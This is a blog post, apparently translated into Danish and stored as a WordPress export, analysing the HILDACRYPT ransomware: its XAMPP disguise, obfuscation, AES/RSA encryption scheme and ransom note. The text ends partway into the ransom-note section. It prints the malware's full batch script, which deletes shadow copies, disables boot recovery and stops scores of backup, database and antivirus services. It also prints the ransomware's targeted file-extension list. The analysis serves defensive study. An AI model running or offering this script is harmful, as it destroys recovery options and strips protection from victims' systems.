{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: et nyt ransomware-program rammer backup- og antivirusl\u00f8sninger","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Hej, Habr! Igen fort\u00e6ller vi om de nyeste versioner af malware i ransomware-kategorien. HILDACRYPT er et nyt ransomware-program, en repr\u00e6sentant for familien Hilda, der blev opdaget i august 2019, opkaldt efter en animationsfilm fra Netflix, der blev brugt til at distribuere softwaren. I dag kigger vi p\u00e5 de tekniske detaljer for dette opdaterede ransomware-virus.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nI den f\u00f8rste version af Hilda-ransomware indeholdt brevet om l\u00f8sepenge traileren<\/a><\/noindex> til animationsserien en link til en video p\u00e5 Youtube. HILDACRYPT maskerer sig som en legitim installer XAMPP \u2013 en nemt installerbar distribution af Apache, der inkluderer MariaDB, PHP og Perl. Derudover har ransomware-programmet et andet filnavn \u2013 xamp. Desuden har ransomware-filen ingen elektronisk signatur.<\/p>\n

Statisk analyse<\/h3>\n

\nRansomware-programmet er indeholdt i en PE32 .NET-fil, der er skrevet for MS Windows. Dens st\u00f8rrelse er 135.168 byte. B\u00e5de hovedprogramkoden og beskytterkoden er skrevet i C#. If\u00f8lge stemplingen af dato og tidspunkt for kompilering blev den bin\u00e6re fil oprettet den 14. september 2019.<\/p>\n

\"HILDACRYPT:
\n
\nIf\u00f8lge Detect It Easy er ransomware blevet pakket med Confuser og ConfuserEx, men disse obfuskatorer er de samme som f\u00f8r, kun ConfuserEx er efterf\u00f8lgeren til Confuser, s\u00e5 deres signaturer ligner hinanden. <\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT er faktisk pakket med ConfuserEx. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

Angrebsvektor<\/h3>\n

\nRansomware-programmet er sandsynligvis blevet opdaget p\u00e5 et af de webprogrammeringsrelaterede steder, maske som et legitimt program XAMPP.<\/p>\n

Hele inficeringsk\u00e6den kan ses i app.any.run sandkasse<\/a><\/noindex>.<\/p>\n

Obfuskering <\/h3>\n

\nRansomware-programmets strenge opbevares i krypteret form. Ved opstart dechifter HILDACRYPT dem med Base64 og AES-256-CBC.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Installation<\/h3>\n

\nF\u00f8rst opretter ransomware-programmet en mappe i %AppDataRoaming%, hvor GUID (Globally Unique Identifier) parameteren genereres tilf\u00e6ldigt. Ved at tilf\u00f8je en bat-fil til denne placering starter ransomware-programmet den ved hj\u00e6lp af cmd.exe:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nDerefter begynder den at udf\u00f8re et batch-script for at deaktivere systemfunktioner eller -tjenester.<\/p>\n

\"HILDACRYPT:
\n
\nScriptet indeholder en lang liste af kommandoer, som \u00f8del\u00e6gger skyggekopier, deaktiverer SQL-serveren, backup og antivirusl\u00f8sninger.<\/p>\n

For eksempel fors\u00f8ger han forg\u00e6ves at stoppe Acronis Backup backup-tjenesterne. Derudover angriber han backup-systemer og antivirusl\u00f8sninger fra f\u00f8lgende udbydere: Veeam, Sophos, Kaspersky, McAfee og andre.<\/p>\n

@echo off\n:: Jeg er ikke rigtig fan af ponyer, tegnefilmspiger er bedre, hvad synes du?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \"Sophos Device Control Service\" \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \"Zoolz 2 Service\" \/y\nnet stop McTaskManager \/y\nnet stop \"Sophos AutoUpdate Service\" \/y\nnet stop \"Sophos System Protection Service\" \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \"Symantec System Recovery\" \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \"Sophos Health Service\" \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \"Sophos Message Router\" \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \"Sophos Clean Service\" \/y\nnet stop swi_update_64 \/y\nnet stop \"Sophos Web Control Service\" \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \"Veeam Backup Catalog Data Service\" \/\net stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \"Sophos MCS Client\" \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \"SQLsafe Backup Service\" \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \"Sophos Safestore Service\" \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \"Sophos File Scanner Service\" \/y\nnet stop \"Sophos Agent\" \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \"Enterprise Client Service\" \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \"SQL Backups\" \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \"Sophos MCS Agent\" \/y\nnet stop RESvc \/y\nnet stop \"Acronis VSS Provider\" \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \"SQLsafe Filter Service\" \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nN\u00e5r de f\u00f8rn\u00e6vnte tjenester og processer er deaktiveret, indsamler kryptolockeren oplysninger om alle k\u00f8rende processer ved hj\u00e6lp af kommandoen tasklist for at sikre, at alle n\u00f8dvendige tjenester ikke er aktive. 
\ntasklist v \/fo csv<\/i><\/p>\n
Denne kommando genererer en detaljeret liste over aktive processer, hvor elementerne er adskilt af et komma. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservices\u00bb,\u00ab0\u00bb,\u00ab1,896 KB\u00bb,\u00abunknown\u00bb,\u00ab0:00:03\u00bb
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nEfter denne kontrol starter ransomware-processen med at kryptere. <\/p>\n
Kryptering 
\n<\/h3>\n
Kryptering af filer<\/h4>\n
\nHILDACRYPT gennemg\u00e5r alt det fundne indhold p\u00e5 harddiskene, undtagen mapperne Recycle.Bin og Reference AssembliesMicrosoft. I sidstn\u00e6vnte findes kritisk vigtige filer som dll, pdb osv. til .Net-applikationer, som kan p\u00e5virke ransomware-ydelsen. For at finde de filer, der skal krypteres, bruges f\u00f8lgende liste over filendelser:<\/p>\n
.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md
\n<\/i>
\nTil kryptering af brugerens filer anvender ransomware-algoritmen AES-256-CBC. N\u00f8glens st\u00f8rrelse er 256 bit, og st\u00f8rrelsen p\u00e5 initialiseringsvektoren (IV) er 16 byte. <\/p>\n
\"HILDACRYPT:
\n
\nP\u00e5 det n\u00e6ste sk\u00e6rmbillede blev v\u00e6rdierne byte_2 og byte_1 genereret tilf\u00e6ldigt med GetBytes(). <\/p>\n
\"HILDACRYPT:
\n
\nN\u00f8gle<\/p>\n
\"HILDACRYPT:
\n
\nVI<\/p>\n
\"HILDACRYPT:
\n
\nDen krypterede fil har endelsen HCY!.. Dette er et eksempel p\u00e5 en krypteret fil. N\u00f8gle og IV, som n\u00e6vnt ovenfor, blev oprettet til denne fil. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Kryptering af n\u00f8gler<\/h4>\n
\nKryptolocker gemmer den genererede AES-n\u00f8gle i den krypterede fil. Den f\u00f8rste del af den krypterede fil har en overskrift, der indeholder oplysninger som HILDACRYPT, KEY, IV, FileLen i XML-format, og ser s\u00e5ledes ud:<\/p>\n
\"HILDACRYPT:
\n
\nKryptering af AES-n\u00f8glen og IV sker ved hj\u00e6lp af RSA-2048, og kodningen udf\u00f8res med Base64. Den offentlige RSA-n\u00f8gle opbevares i kroppen af kryptolockeren i en af de krypterede strenge i XML-format.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Den offentlige RSA-n\u00f8gle bruges til at kryptere AES-n\u00f8glen for filen. Den offentlige RSA-n\u00f8gle er kodet med Base64 og best\u00e5r af en modul og den offentlige eksponent 65537. For at dekryptere kr\u00e6ves den private RSA-n\u00f8gle, som findes hos angriberen.<\/p>\n
Efter RSA-krypteringen bliver AES-n\u00f8glen kodet med Base64 og gemt i den krypterede fil.<\/p>\n
Besked om l\u00f8sesum<\/h3>\n
\nN\u00e5r krypteringen er f\u00e6rdig, opretter HILDACRYPT en html-fil i den mappe, hvor den har krypteret filer. Ransomware-annonceringen indeholder to e-mailadresser, som ofret kan kontakte angriberen p\u00e5.<\/p>\n